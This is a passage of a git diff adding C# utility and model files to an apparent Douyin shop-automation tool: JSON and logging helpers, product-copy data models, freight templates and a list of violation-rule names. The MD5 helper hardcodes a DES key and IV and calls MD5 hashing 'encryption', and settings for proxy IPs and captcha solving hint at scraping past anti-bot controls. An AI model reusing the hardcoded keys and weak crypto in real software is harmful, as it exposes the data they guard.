initImage = null; + return false; + } + + BarcodeReader reader = new BarcodeReader(); + Result result = reader.Decode((Bitmap)initImage); + if (result == null || string.IsNullOrEmpty(result.Text)) + { + reader = null; + result = null; + //initImage = null; + return false; + } + reader = null; + result = null; + initImage = null; + } + catch + { + return false; + } + return true; + } + } +} diff --git a/AllBase/JsonHelper.cs b/AllBase/JsonHelper.cs new file mode 100644 index 0000000..8cd39d5 --- /dev/null +++ b/AllBase/JsonHelper.cs @@ -0,0 +1,86 @@ +/* + * json 帮助类 + * 肖俊 + * 2017-7-11 + * + */ +using System.Collections.Generic; +using System.IO; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; + +namespace AllBase +{ + /// + /// Json帮助类 + /// + public static class JsonHelper + { + /// + /// 将对象序列化为JSON格式 + /// + /// 对象 + /// json字符串 + public static string SerializeObject(object o) + { + string json = JsonConvert.SerializeObject(o); + return json; + } + + /// + /// 解析JSON字符串生成对象实体 + /// + /// 对象类型 + /// json字符串(eg.{"ID":"112","Name":"石子儿"}) + /// 对象实体 + public static T DeserializeJsonToObject(string json) where T : class + { + JsonSerializer serializer = new JsonSerializer(); + StringReader sr = new StringReader(json); + object o = serializer.Deserialize(new JsonTextReader(sr), typeof(T)); + T t = o as T; + return t; + } + + public static JObject JObjectParse(string json) + { + try + { + JObject obj = JObject.Parse(json); + return obj; + } + catch + { + return null; + } + } + + /// + /// 解析JSON数组生成对象实体集合 + /// + /// 对象类型 + /// json数组字符串(eg.[{"ID":"112","Name":"石子儿"}]) + /// 对象实体集合 + public static List DeserializeJsonToList(string json) where T : class + { + JsonSerializer serializer = new JsonSerializer(); + StringReader sr = new StringReader(json); + object o = serializer.Deserialize(new JsonTextReader(sr), typeof(List)); + List list = o as List; + return list; + } + + /// + /// 反序列化JSON到给定的匿名对象. + /// + /// 匿名对象类型 + /// json字符串 + /// 匿名对象 + /// 匿名对象 + public static T DeserializeAnonymousType(string json, T anonymousTypeObject) + { + T t = JsonConvert.DeserializeAnonymousType(json, anonymousTypeObject); + return t; + } + } +} diff --git a/AllBase/LogSave.cs b/AllBase/LogSave.cs new file mode 100644 index 0000000..f8a5b3f --- /dev/null +++ b/AllBase/LogSave.cs @@ -0,0 +1,252 @@ +/* + * 日志记录 + * 肖俊 + * 2015-3-13 + */ + +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace AllBase +{ + public class LogSave + { + /// + /// 消息日志 + /// + public static Dictionary> Messages = new Dictionary>(); + + /// + /// 日志队列 + /// + private static List Logs = new List(); + + /// + /// 准备写入文件 + /// + public static List ImageTemp = new List(); + /// + /// 初始化 + /// + public LogSave() + { + FileBase.DirectoryCreate(Application.StartupPath + "\\log\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\content\\"); + FileBase.DirectoryCreate(Application.StartupPath + "\\temp\\desc\\"); + + string[] l = Directory.GetFiles(Application.StartupPath + "\\log\\"); + for (int i = 0; i < l.Length; i++) + { + string name = Path.GetFileName(l[i]); + string date = BaseRegex.GetMatchRegexString(ref name, @"([\d]{4}-[\d]{1,2}-[\d]{1,2})"); + DateTime d; + if (DateTime.TryParse(date, out d)) + { + if (d + /// 服务 + /// + public void Get() + { + string temp; + while (true) + { + if (Logs.Count == 0 && ImageTemp.Count==0) + { + Thread.Sleep(10000); + continue; + } + StringBuilder s = new StringBuilder(); + while (ImageTemp.Count>0) + { + string it = ImageTemp[0]; + ImageTemp.RemoveAt(0); + if (string.IsNullOrEmpty(it)) + continue; + s.AppendLine(it); + } + string image = s.ToString(); + if (image.Length > 0) + FileBase.AppendAllText("image/" + BaseClass.ShopName+".tjm", image, Encoding.Default); + temp = ""; + while (Logs.Count>0) + { + try + { + temp += Logs[0] + "\r\n"; + Logs.RemoveAt(0); + } + catch + { + } + } + if(string.IsNullOrEmpty(temp)) + continue; + string patch = "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".log"; + try + { + File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") +"\r\n"+ temp); + } + catch (Exception e) + { + if(e.Message.Contains("空间")) + return; + Thread.Sleep(500);//重试一次 + try + { + File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n" + temp); + } + catch (Exception) + { + BaseClass.ViewCode += "写入IIS日志:" + patch + " 发生错误:"+e.Message+"\r\n"; + } + } + Thread.Sleep(120*1000); + } + } + /// + /// 添加日志 + /// + /// 日志 + public static void Add(string message) + { + BaseClass.ViewCode += message + "\r\n"; + if (Logs.Count > 5000) + { + BaseClass.ViewCode += "日志队列超长,请检查日志处理\r\n"; + Logs.Clear(); + return; + } + Logs.Add(message); + } + /// + /// 添加日志 + /// + /// 名称 + /// 日志 + public static void Add(string Name,string message) + { + if (string.IsNullOrEmpty(Name)) + { + Logs.Add(message); + return; + } + if (!Messages.ContainsKey(Name)) + { + try + { + Messages.Add(Name, new List()); + } + catch + { + } + } + try + { + Logs.Add(message); + Messages[Name].Add(message); + } + catch + { + + + } + } + /// + /// 添加到显示 + /// + /// 日志 + public static void AddView(string message) + { + BaseClass.ViewCode += message + "\r\n"; + } + /// + /// 设置最大值 + /// + /// 名称 + /// 最大值 + public static void SetProccessMax(string name, int max) + { + if (!BaseClass.ProcessList.ContainsKey(name)) + { + try + { + BaseClass.ProcessList.Add(name,new ProcessBase()); + } + catch + { + } + } + BaseClass.ProcessList[name].Max = max; + } + + /// + /// 设置当前值 + /// + /// 名称 + /// 当前值 + public static void SetProccessValue(string name, int value) + { + if (!BaseClass.ProcessList.ContainsKey(name)) + { + try + { + BaseClass.ProcessList.Add(name, new ProcessBase()); + } + catch + { + } + } + BaseClass.ProcessList[name].Value = value; + } + /// + /// 设置为最大值,完成 + /// + /// + public static void SetProccessFinish(string name) + { + BaseClass.ProcessList[name].Value = BaseClass.ProcessList[name].Max; + } + } +} diff --git a/AllBase/Md5Base.cs b/AllBase/Md5Base.cs new file mode 100644 index 0000000..2e9c33e --- /dev/null +++ b/AllBase/Md5Base.cs @@ -0,0 +1,215 @@ +/* + * MD5加密 + * 肖俊 + * 2013-6-7 + */ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace AllBase +{ + public static class Md5Base + { + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.UTF8.GetBytes(string.IsNullOrEmpty(instring)?"": instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// MD5加密 + /// + /// + /// + //public static string GetMd5X16(string instring) + //{ + // string temp = GetMd5(instring); + // return temp.Substring(8, 16); + //} + + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5X15(string instring) + { + string temp = GetMd5(instring); + return temp.Substring(8, 15); + } + /// + /// 解码 + /// + /// + /// + public static string DecodeString(string code) + { + try + { + string code1 = + code.Trim().Replace("_1/", "c") + .Replace("_2/", "Y") + .Replace("_3/", "A") + .Replace("_4/", "Z") + .Replace("_5/", "h") + .Replace("_6/", "n") + .Replace("_7/", "I") + .Replace("_8/", "l") + .Replace("_9/", "t") + .Replace("_10/", "e") + .Replace("_11/", "K") + .Replace("_12/", "r") + .Replace("_13/", "o") + .Replace("_14/", "q") + .Replace("_15/", "W") + .Replace("_16/", "+") + .Replace("_17/", "H") + .Replace("_18/", "m") + .Replace("_19/", "F") + .Replace("_20/", "x") + .Replace("_21/", "v") + .Replace("_22/", "B") + .Replace("_23/", "=") + .Replace("_0/", "_"); + byte[] inArray = Convert.FromBase64String(code1); + string html = Encoding.UTF8.GetString(inArray); + html = + html.Replace("_1_", "=") + .Replace("_2_", "?") + .Replace("_3_", "/") + .Replace("_4_", ".") + .Replace("_5_", "&") + .Replace("_6_", "<") + .Replace("_7_", ">") + .Replace("_8_", "'") + .Replace("_9_", "\"") + .Replace("_", "_0"); + return html; + } + catch (Exception e) + { + LogSave.Add("解码数据错误:"+code); + return ""; + } + + } + + /// + /// 加密返回数据 + /// + /// 密文 + /// + public static string EncodeString(string html) + { + if (string.IsNullOrEmpty(html)) + return ""; + html = + html.Replace("_0", "_") + .Replace("=", "_1_") + .Replace("?", "_2_") + .Replace("/", "_3_") + .Replace(".", "_4_") + .Replace("&", "_5_") + .Replace("\\", "_6_") + .Replace(">", "_7_") + .Replace("'", "_8_") + .Replace("\"", "_9_"); + string code = Base64Encode.EncodeBase64(html); + code = + code.Replace("c", "_1_") + .Replace("Y", "_2_") + .Replace("A", "_3_") + .Replace("Z", "_4_") + .Replace("h", "_5_") + .Replace("n", "_6_") + .Replace("I", "_7_") + .Replace("o", "_8_") + .Replace("t", "_9_") + .Replace("=", "_0_"); + return code; + } + + + #region EBFB8THEA 加密 + public static string _KEY = "XNNRSAA1"; //密钥 + public static string _IV = "RSABPDD2"; //向量 + + /// + /// 加密 + /// + /// 需要加密的文本 + /// + public static string EncryptEncode(string data) + { + byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_KEY); + byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_IV); + + DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); + int i = cryptoProvider.KeySize; + MemoryStream ms = new MemoryStream(); + CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateEncryptor(byKey, byIV), CryptoStreamMode.Write); + + StreamWriter sw = new StreamWriter(cst); + sw.Write(data); + sw.Flush(); + cst.FlushFinalBlock(); + sw.Flush(); + string strRet = Convert.ToBase64String(ms.GetBuffer(), 0, (int)ms.Length); + + sw.Dispose(); + sw.Close(); + cst.Dispose(); + cst.Close(); + ms.Dispose(); + ms.Close(); + return strRet; + } + + /// + /// 解密 + /// + /// + /// + public static string EncryptDecode(string data) + { + byte[] byKey = System.Text.ASCIIEncoding.ASCII.GetBytes(_KEY); + byte[] byIV = System.Text.ASCIIEncoding.ASCII.GetBytes(_IV); + byte[] byEnc; + + try + { + data.Replace("_%_", "/"); + data.Replace("-%-", "#"); + byEnc = Convert.FromBase64String(data); + } + catch + { + return null; + } + + DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider(); + MemoryStream ms = new MemoryStream(byEnc); + CryptoStream cst = new CryptoStream(ms, cryptoProvider.CreateDecryptor(byKey, byIV), CryptoStreamMode.Read); + StreamReader sr = new StreamReader(cst); + var result = sr.ReadToEnd(); + + sr.Dispose(); + sr.Close(); + cst.Dispose(); + cst.Close(); + ms.Dispose(); + ms.Close(); + + return result; + } + #endregion + } +} diff --git a/AllBase/Model/Param/CollectManage/FissionSettingParam.cs b/AllBase/Model/Param/CollectManage/FissionSettingParam.cs new file mode 100644 index 0000000..63ab3ad --- /dev/null +++ b/AllBase/Model/Param/CollectManage/FissionSettingParam.cs @@ -0,0 +1,23 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.CollectManage +{ + /// + /// 数据净化设置选项 + /// + public class FissionSettingParam + { + /// + /// 是否使用代理ip + /// + public bool IsUseProxyIp { get; set; } = false; + /// + /// 是否使用资源包打码 + /// + public bool IsUseResourcePack { get; set; } = false; + } +} diff --git a/AllBase/Model/Param/FissionManage/FissionData.cs b/AllBase/Model/Param/FissionManage/FissionData.cs new file mode 100644 index 0000000..f479e99 --- /dev/null +++ b/AllBase/Model/Param/FissionManage/FissionData.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.FissionManage +{ + public class FissionData + { + /// + /// 分词数据库编号 + /// + public int id { get; set; } + /// + /// 商品id 575431121218 + /// + public string fession_id { get; set; } + /// + /// 销量 2103 + /// + public string sales { get; set; } + /// + /// 价格 299.00 + /// + public string price { get; set; } + /// + /// + /// + public string title { get; set; } + /// + /// 分词标题 + /// + public string fession_title { get; set; } + /// + /// 裂变数量 + /// + public string fession_count { get; set; } + /// + /// 主词 + /// + public string mainWord { get; set; } + /// + /// 副词 + /// + public string viceword { get; set; } + /// + /// 分组 + /// + public string category { get; set; } + /// + /// 来源 淘宝、拼多多 + /// + public string source { get; set; } + /// + /// 商品属性 + /// + public string prop { get; set; } + /// + /// 属性列表,List类型的json + /// + public string props { get; set; } + /// + /// 产品sku信息 + /// + public string skus { get; set; } + /// + /// 主图 + /// + public string main_pic { get; set; } + /// + /// 属性图 + /// + public string prop_pic { get; set; } + /// + /// 详情图/内容图 + /// + public string container_info { get; set; } + /// + /// 子分类id + /// + public string cate_id { get; set; } + /// + /// 子分类名称 + /// + public string second_cate { get; set; } + /// + /// 主分类id + /// + public string main_cateid { get; set; } + /// + /// 主分类名称 + /// + public string main_cate { get; set; } + /// + /// 完整分类名称 + /// + public string full_category_name { get; set; } + /// + /// 二级类目名称 + /// + public string cat2_name { get; set; } + /// + /// 三级类目名称 + /// + public string cat3_name { get; set; } + /// + /// 是否已经单独加价 + /// + public string is_changeprice { get; set; } + /// + /// 加价比例 + /// + public int? add_pricepercent { get; set; } + /// + /// 基础额外加价 + /// + public int? base_addprice { get; set; } + /// + /// 邮费价格 + /// + public string postFree { get; set; } + /// + /// 折扣 + /// + public decimal discount { get; set; } + /// + /// 标题数量 + /// + public int TitleNum { get; set; } + /// + /// 是否试水上货标记 + /// + public string try_upload { get; set; } + /// + /// 入库时间 + /// + public string addtime { get; set; } + /// + /// 更新时间 + /// + public string update_time { get; set; } + /// + /// 使用次数 + /// + public int times { get; set; } + /// + /// 商品来源店铺名称 + /// + public string from_shop_name { get; set; } + /// + /// 查询满足条件的fissionData时服务端返回的记录总数 + /// + public int totalCountNum { get; set; } + /// + /// _is_end + /// + public int _is_end { get; set; } + + /// + /// 商品是否通过校验 1 校验通过 9 上家已下架 0 上家有变化需要更新 + /// + public int update_check_passed { get; set; } = 1; + + /// + /// 商品资质信息 + /// + public string qualifications { get; set; } + } +} diff --git a/AllBase/Model/Param/FissionManage/FissionDataModel.cs b/AllBase/Model/Param/FissionManage/FissionDataModel.cs new file mode 100644 index 0000000..fbba1dc --- /dev/null +++ b/AllBase/Model/Param/FissionManage/FissionDataModel.cs @@ -0,0 +1,162 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.FissionManage +{ + /// + /// 数据净化传递到服务端使用的对象类 + /// + public class FissionDataModel + { + /// + /// 本应是分词数据库编号,但程序中作为商品id上传到服务端使用 + /// + public string id { get; set; } + /// + /// 商品id + /// + public string fession_id { get; set; } + /// + /// 销量 + /// + public string sales { get; set; } + /// + /// 价格 + /// + public string price { get; set; } + /// + /// 标题 + /// + public string title { get; set; } + /// + /// 裂变标题 对应FissionData属性:fession_title + /// + public List fessionTitle { get; set; } + /// + /// 裂变数量 对应FissionData属性:fession_count + /// + public string fessionCount { get; set; } + /// + /// 主词 + /// + public string mainWord { get; set; } + /// + /// 副词 对应FissionData属性:viceword + /// + public string viceWord { get; set; } + /// + /// 分组 对应FissionData属性:category + /// + public string teamGroup { get; set; } + /// + /// 来源 + /// + public string source { get; set; } + /// + /// 商品属性 + /// + public string prop { get; set; } + /// + /// 属性列表,List类型的json + /// + public string props { get; set; } + /// + /// 产品sku信息 + /// + public string skus { get; set; } + /// + /// 主图 + /// + public List main_pic { get; set; } + /// + /// 属性图 + /// + public List prop_pic { get; set; } + /// + /// 详情图/内容图 对应FissionData属性:container_info + /// + public List content_pic { get; set; } + /// + /// 子分类id + /// + public int cate_id { get; set; } + /// + /// 子分类名称 对应FissionData属性:second_cate + /// + public string secondCategory { get; set; } + /// + /// 主分类id 对应FissionData属性:main_cateid + /// + public int main_cate_id { get; set; } + /// + /// 主分类名称 对应FissionData属性:main_cate + /// + public string mainCategory { get; set; } + /// + /// 完整分类名称 对应FissionData属性:full_category_name + /// + public string fullCategoryName { get; set; } + /// + /// 二级类目名称 + /// + public string cat2_name { get; set; } + /// + /// 三级类目名称 + /// + public string cat3_name { get; set; } + /// + /// 是否调节价格 对应FissionData属性:is_changeprice + /// + public int adjustPrice { get; set; } + /// + /// 加价比例 对应FissionData属性:add_pricepercent + /// + public decimal addPricePercent { get; set; } + /// + /// 基础额外加价 对应FissionData属性:base_addprice + /// + public decimal baseAddPrice { get; set; } + /// + /// 邮费价格 + /// + public string postFree { get; set; } + /// + /// 折扣 + /// + public decimal discount { get; set; } + /// + /// 商品上家来源店铺 + /// + public string from_shop_name { get; set; } + + /// + /// 商品是否通过校验 1 校验通过 9 上家已下架 0 上家有变化需要更新 + /// + public int update_check_passed { get; set; } = 1; + + /// + /// 商品资质信息 + /// + public string qualifications { get; set; } + } + + public class GoodsCategoryModel + { + public int id { get; set; } + public string name { get; set; } + public int level { get; set; } + public int parent_id { get; set; } + public int main_cat_id { get; set; } + public bool is_leaf { get; set; } + public bool enable { get; set; } + } + + public class GoodsCategoryModelEx : GoodsCategoryModel + { + public int parent_cid { get { return parent_id; } set { parent_id = value; } } + public int industry_status { get; set; } + } +} diff --git a/AllBase/Model/Param/FissionManage/FissionRoot.cs b/AllBase/Model/Param/FissionManage/FissionRoot.cs new file mode 100644 index 0000000..51bd814 --- /dev/null +++ b/AllBase/Model/Param/FissionManage/FissionRoot.cs @@ -0,0 +1,21 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.FissionManage +{ + public class FissionRoot + { + /// + /// List + /// + public List list { get; set; } + + /// + /// 记录总数 + /// + public int count { get; set; } + } +} diff --git a/AllBase/Model/Param/OrderManage/FreightTemplateParam.cs b/AllBase/Model/Param/OrderManage/FreightTemplateParam.cs new file mode 100644 index 0000000..7eeb563 --- /dev/null +++ b/AllBase/Model/Param/OrderManage/FreightTemplateParam.cs @@ -0,0 +1,101 @@ +using AllBase.Model.Result; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.OrderManage +{ + public class FreightTemplateParam + { + public TemplateParam template { get; set; } + + public List columns { get; set; } + } + + public class TemplateParam + { + public string template_name { get; set; } + /// + /// 发货省份id + /// + public long product_province { get; set; } + /// + /// 发货城市id + /// + public long product_city { get; set; } + /// + /// 计价方式-1.按重量计价 2.按数量计价; 模板类型为1、2、3时,计价类型传2 + /// + public int calculate_type { get; set; } = 2; + /// + /// 快递方式-1.快递 目前仅支持1 + /// + public int transfer_type { get; set; } + /// + /// 模板类型-0:阶梯计价 1:固定运费 2:卖家包邮 3:货到付款 + /// + public int rule_type { get; set; } + /// + /// 固定运费金额(单位:分) 固定运费模板必填 1-9900之间的整数 + /// + public int fixed_amount { get; set; } + } + + public class TemplateRulesParam + { + /// + /// 首重(单位:kg) + /// + public decimal first_weight { get; set; } + /// + /// 首重价格(单位:元) + /// + public decimal first_weight_price { get; set; } + /// + /// 首件数量(单位:个) + /// + public int first_num { get; set; } + /// + /// 首件价格(单位:元) + /// + public decimal first_num_price { get; set; } + /// + /// 续重(单位:kg) + /// + public decimal add_weight { get; set; } + /// + /// 续重价格(单位:元) + /// + public decimal add_weight_price { get; set; } + /// + /// 续件(单位:个) + /// + public int add_num { get; set; } + /// + /// 续件价格(单位:元) + /// + public decimal add_num_price { get; set; } + /// + /// 是否默认计价方式规则(1:是;0:不是) + /// + public int is_default { get; set; } + /// + /// 是否限运规则 + /// + public bool is_limited { get; set; } + /// + /// 当前规则生效的地址,非默认计价方式规则必填(如:限制购买规则) + /// + public string rule_address { get; set; } + + public List province_infos { get; set; } + } + + public class ProvinceInfo + { + public List children { get; set; } + public string id { get; set; } + } +} diff --git a/AllBase/Model/Param/ProductManage/DyCategoryParam.cs b/AllBase/Model/Param/ProductManage/DyCategoryParam.cs new file mode 100644 index 0000000..01b5190 --- /dev/null +++ b/AllBase/Model/Param/ProductManage/DyCategoryParam.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ProductManage +{ + public class DyCategoryParam + { + public static string DyCategorys = ""; + } +} diff --git a/AllBase/Model/Param/ProductManage/QualificationConfig.cs b/AllBase/Model/Param/ProductManage/QualificationConfig.cs new file mode 100644 index 0000000..4d1a4b3 --- /dev/null +++ b/AllBase/Model/Param/ProductManage/QualificationConfig.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ProductManage +{ + public class QualificationConfig + { + public bool is_required { get; set; } + public string key { get; set; } + public string name { get; set; } + public string support_web_url_type { get; set; } + public List text_list { get; set; } + } +} diff --git a/AllBase/Model/Param/ProductManage/SameProductCheckParam.cs b/AllBase/Model/Param/ProductManage/SameProductCheckParam.cs new file mode 100644 index 0000000..f4594fb --- /dev/null +++ b/AllBase/Model/Param/ProductManage/SameProductCheckParam.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ProductManage +{ + public class SameProductCheckParam + { + public string ShopName { get; set; } + public string ShopId { get; set; } + // 2022年4月25日前上货的商品,外部id为随机数,无法查询,故建立列表,一次性查询出所有对应商品 + public List ShopSamePrpductItemList { get; set; } + + public bool IsGetSuccess { get; set; } = false; + } + + public class ShopOurterProductItemParam + { + public string outer_product_id { get; set; } + public string product_id { get; set; } + public string create_time { get; set; } + } +} diff --git a/AllBase/Model/Param/ProductManage/ViolateParam.cs b/AllBase/Model/Param/ProductManage/ViolateParam.cs new file mode 100644 index 0000000..8155f4f --- /dev/null +++ b/AllBase/Model/Param/ProductManage/ViolateParam.cs @@ -0,0 +1,70 @@ +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ProductManage +{ + public class ViolateParam + { + public string UpId { get; set; } + public long UpIdNumber + { + get + { + var upId = UpId; + if (string.IsNullOrWhiteSpace(upId)) + upId = "0"; + string upIdNumber = BaseRegex.GetMatchRegex(ref upId, "\\d{5,20}")[0]?.Groups[0]?.Value; + if (!string.IsNullOrEmpty(upIdNumber)) + { + return upIdNumber.ParseToLong(); + } + return 0; + } + } + public string From + { + get + { + string from = ""; + if (string.IsNullOrEmpty(UpId)) + from = ""; + else if (UpId.StartsWith("pd")) + from = "拼多多"; + else if (UpId.StartsWith("tb")) + from = "淘宝"; + else if (UpId.StartsWith("al")) + from = "阿里巴巴"; + else if (UpId.StartsWith("jx")) + from = "京喜"; + else if (UpId.StartsWith("dy")) + from = "抖音"; + return from; + } + } + /// + /// 抖音商品Id + /// + public string DouProductId { get; set; } + /// + /// 抖音店铺Id + /// + public string DouShopId { get; set; } + public string RuleNames { get; set; } + /// + /// 数据来源 1.产品数据库 2.店铺在售商品 3.店铺仓库商品 + /// + public int DataFrom { get; set; } + /// + /// 校验时间 + /// + public DateTime CheckTime { get; set; } + /// + /// 处理(删除)结果 + /// + public string HandleResult { get; set; } + } +} diff --git a/AllBase/Model/Param/ProductManage/ViolateRuleParam.cs b/AllBase/Model/Param/ProductManage/ViolateRuleParam.cs new file mode 100644 index 0000000..c85f7ea --- /dev/null +++ b/AllBase/Model/Param/ProductManage/ViolateRuleParam.cs @@ -0,0 +1,130 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.ProductManage +{ + public class ViolateRuleParam + { + /// + /// 严重违规信息规则名称列表 + /// + public static List LstSeriousViolateRuleName = new List { + "虚假宣传-虚构或夸大产品功效", + "虚构商品信息", + "虚构商品信息(商品信息与商品实物不一致)", + "商家出售商品或提供服务时侵犯他人专利权.", + "滥发信息-在店铺页面、商品详情页、推广页面、聊天工具场景中发布第三方信息", + "发布违禁商品/信息-中危禁售", + "出售假冒注册商标商品或仿制品/出售盗版商品", + "商品疑似或涉嫌质量不合格", + "商家出售商品或提供服务时侵犯他人版权。", + "出售假冒商品", + "滥发信息-商品页面引人不适", + "商家出售商品或提供服务时不当使用他人商标权", + "页面信息引人不适", + "侵犯他人知识产权-商家出售商品或提供服务时侵犯他人商标权、版权、专利权", + "发布违禁商品/信息-高危禁售", + "商家出售商品或提供服务时侵犯他人专利权", + "虚构或夸大产品功效.", + "感官质量不合格(商品封禁)", + "违规使用极限词", + "商家出售商品或提供服务时侵犯他人版权.", + "虚构、夸大产品功效(情节轻微-首次违规)", + "商家在出售商品或提供服务的过程中侵犯他人商标权(情节一般)", + + "发布违禁信息", + "发布违禁商品/信息——违规信息(商品封禁)", + "发布禁售商品/信息(商品封禁)", + "商品经营资质不符(进口商品需提供报关单、特殊化妆品需提供特化证)", + "不当使用热点信息", + "商家在出售商品或提供服务的过程中侵犯他人商标权", + "发布违禁商品(情节轻微)", + "发布违禁商品/信息——违规商品(情节一般)", + "虚假宣传-广告禁用词", + "虚构或夸大产品功效", + "功效虚假-普通食品宣称医疗/保健功效", + "商家出售商品或提供服务时侵犯他人版权(情节一般)", + "功效虚假-化妆品宣称医疗/保健功效", + "商家在出售商品或提供服务的过程中侵犯他人商标权(商品封禁)", + "发布违禁商品/信息(情节一般)", + "功效虚假-化妆品宣称可食用", + "功效虚假-食品宣称医疗/保健功效", + "商家在出售商品或提供服务的过程中侵犯他人商标权。", + "发布非约定商品——需经定向招商的商品(情节特别严重,冻结货款)", + "消费者负反馈(CCR)指标异常", + "功效虚假-保证产品效果", + "商品经营资质不符(特殊材质商品需提供质检报告、进口商品需提供报关单、特殊化妆品需提供特化证)", + "商家在出售商品或提供服务的过程中侵犯他人商标权.", + "商家在出售商品或提供服务的过程中侵犯他人商标权 .", + "发布违禁商品/信息(情节轻微)", + "商家在出售商品或提供服务的过程中严重侵犯他人商标权(情节严重)", + "发布违禁信息(情节轻微)", + "功效虚假-化妆品宣称医美功效", + "虚构产品荣誉(情节轻微-首次违规)", + }; + /// + /// 所有违规信息规则名称列表 + /// + public static List LstViolateRuleName = null; + /// + /// 当前选中的要排查的违规信息 + /// + public static List LstViolateRuleNameSelect = new List() { + "虚假宣传-虚构或夸大产品功效", + "虚构商品信息", + "虚构商品信息(商品信息与商品实物不一致)", + "商家出售商品或提供服务时侵犯他人专利权.", + "滥发信息-在店铺页面、商品详情页、推广页面、聊天工具场景中发布第三方信息", + "发布违禁商品/信息-中危禁售", + "出售假冒注册商标商品或仿制品/出售盗版商品", + "商品疑似或涉嫌质量不合格", + "商家出售商品或提供服务时侵犯他人版权。", + "出售假冒商品", + "滥发信息-商品页面引人不适", + "商家出售商品或提供服务时不当使用他人商标权", + "页面信息引人不适", + "侵犯他人知识产权-商家出售商品或提供服务时侵犯他人商标权、版权、专利权", + "发布违禁商品/信息-高危禁售", + "商家出售商品或提供服务时侵犯他人专利权", + "虚构或夸大产品功效.", + "感官质量不合格(商品封禁)", + "违规使用极限词", + "商家出售商品或提供服务时侵犯他人版权.", + "虚构、夸大产品功效(情节轻微-首次违规)", + "商家在出售商品或提供服务的过程中侵犯他人商标权(情节一般)", + + "发布违禁信息", + "发布违禁商品/信息——违规信息(商品封禁)", + "发布禁售商品/信息(商品封禁)", + "商品经营资质不符(进口商品需提供报关单、特殊化妆品需提供特化证)", + "不当使用热点信息", + "商家在出售商品或提供服务的过程中侵犯他人商标权", + "发布违禁商品(情节轻微)", + "发布违禁商品/信息——违规商品(情节一般)", + "虚假宣传-广告禁用词", + "虚构或夸大产品功效", + "功效虚假-普通食品宣称医疗/保健功效", + "商家出售商品或提供服务时侵犯他人版权(情节一般)", + "功效虚假-化妆品宣称医疗/保健功效", + "商家在出售商品或提供服务的过程中侵犯他人商标权(商品封禁)", + "发布违禁商品/信息(情节一般)", + "功效虚假-化妆品宣称可食用", + "功效虚假-食品宣称医疗/保健功效", + "商家在出售商品或提供服务的过程中侵犯他人商标权。", + "发布非约定商品——需经定向招商的商品(情节特别严重,冻结货款)", + "消费者负反馈(CCR)指标异常", + "功效虚假-保证产品效果", + "商品经营资质不符(特殊材质商品需提供质检报告、进口商品需提供报关单、特殊化妆品需提供特化证)", + "商家在出售商品或提供服务的过程中侵犯他人商标权.", + "商家在出售商品或提供服务的过程中侵犯他人商标权 .", + "发布违禁商品/信息(情节轻微)", + "商家在出售商品或提供服务的过程中严重侵犯他人商标权(情节严重)", + "发布违禁信息(情节轻微)", + "功效虚假-化妆品宣称医美功效", + "虚构产品荣誉(情节轻微-首次违规)", + }; + } +} diff --git a/AllBase/Model/Param/SalesManage/PromotionAddParam.cs b/AllBase/Model/Param/SalesManage/PromotionAddParam.cs new file mode 100644 index 0000000..86eb2f3 --- /dev/null +++ b/AllBase/Model/Param/SalesManage/PromotionAddParam.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model.Param.SalesManage +{ + // 直降  {"sub_stype":"0","shop_stype":"2","title":"123454321","time_set_type":"0","promotion_goods":[{"product_id":"3548176868555547395","title":"不锈钢铁板烧料理铲子西餐披萨铲刀手抓饼压铲生煎饼工具炒冰铲子","cover":"https://p9-aio.ecombdimg.com/obj/ecom-shop-material/v1_NxryKpcR_70963536160382815020819_1ad5b45b1ae22a3fdb44cbe31f490e02_sx_148382_www800-800","config_scope":"0","promotion_skus":[{"id":"1732508235120728","camp_stock_num":"1","user_limit":"1","price":"undefined","shop_svalue":"200"},{"id":"1732508235120712","camp_stock_num":"5","user_limit":"1","price":"undefined","shop_svalue":"100"}]}],"order_expire_time":"600","pre_begin_time":"2022-05-14 20:30:00","begin_time":"2022-05-16 00:00:00","end_time":"2022-05-16 